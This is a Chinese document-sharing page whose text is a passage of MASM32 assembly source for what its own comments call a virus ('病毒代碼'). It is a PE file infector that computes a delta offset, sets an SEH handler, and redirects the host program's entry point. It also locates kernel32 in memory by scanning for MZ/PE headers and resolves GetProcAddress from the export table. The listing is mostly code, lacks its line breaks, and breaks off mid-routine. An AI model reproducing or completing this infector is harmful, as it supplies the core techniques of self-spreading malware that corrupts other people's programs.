資源描述:
《immunity代碼(柴婷婷)》由會(huì)員上傳分享,免費(fèi)在線閱讀,更多相關(guān)內(nèi)容在教育資源-天天文庫(kù)。
1、.386.modelflat,stdcalloptioncasemap:noneincludemasm32includewindows.incincludemasm32includekernel32.incincludemasm32includeuser32.incincludelibmasm32libkernel32.libincludelibmasm32libuser32.lib;這是一些相關(guān)的定義,;------------------------------------(上面的)--.datamc
2、aptiondb"你好!!!!!!!!!!1!",0mtitledb"*標(biāo)題*",0;主程序所用到的一些變量;------------------------------------(上面的)--.codehost_start:invokeMessageBox,NULL,offsetmcaption,offsetmtitle,64invokeExitProcess,0;主程序代碼,只是簡(jiǎn)單的打一串字符而已。;病毒代碼運(yùn)行完后,就會(huì)跳到此處執(zhí)行。;------------------------------------(上面的)--Im
3、munitySEGMENTPARAUSE32'Immunity'assumecs:Immunity,ds:Immunityvstart:pushebppushespcallnstartnstart:;;;;;;;;;;;;;popebpsubebp,offsetnstart;病毒中常用的一種方法。得到一個(gè)偏移差。;程序后面用到的所有變量都需要加上個(gè)這偏移差;------------------------------------(上面的)--assumefs:nothing;設(shè)置SEH,發(fā)生異??梢灾苯臃祷卦肟?leaebx,SEH
4、[ebp]pushebxpushfs:[0]movfs:[0],espmovOldEsp[ebp],esp;=========================;*更改程序入口地址*cmpold_base[ebp],0jnzgonextmovold_base[ebp],400000hgonext:cmpold_in[ebp],0jnzchangemovold_in[ebp],1000hchange:moveax,old_base[ebp]movdes_base[ebp],eaxmoveax,old_in[ebp]movdes_in[eb
5、p],eax;變量定義的的意思見后方;程序開始執(zhí)行時(shí),當(dāng)前程序的原入口地址會(huì)放到old_base+old_in中;由于程序中old_base_in有別的用途,因此將此地址存放到;des_base_in,以便最后跳回原程序入口。;------------------------------------(上面的)--;獲得KERNEL32地址及所需的API函數(shù)地址moveax,[esp+10h];//取Kernel32返回地址andax,0f000hmovesi,eax;//得到Kernel.PELoader代碼位置(不精確)LoopFi
6、ndKernel32:subesi,1000hcmpwordptr[esi],'ZM';//搜索EXE文件頭jnzshortLoopFindKernel32GetPeHeader:movzxedi,wordptr[esi+3ch]addedi,esicmpwordptr[edi],'EP';//確認(rèn)是否PE文件頭jnzshortLoopFindKernel32;esi->kernel32,edi->kernel32PEHEADER;//////////////////////////////////////////////////查找
7、GetProcAddress函數(shù)地址movvKernel32[ebp],esiGetPeExportTable:movebx,[edi+78h];4+14h+60haddebx,vKernel32[ebp];//得到輸出函數(shù)表movvExportKernel[ebp],ebxpush14callaGetProcAddrdb"GetProcAddress",0aGetProcAddr:leaeax,GetApiAddress[ebp]calleaxoreax,eaxjzExitTimesmovvGetProcAddress[ebp],e
8、ax;得到GetProcAddress地址leaesi,bGetModuleHandle[ebp];獲得所有用到的KERNEL32函數(shù)的地址leaedi,vGetModuleHandle[ebp]cldComeOn:lo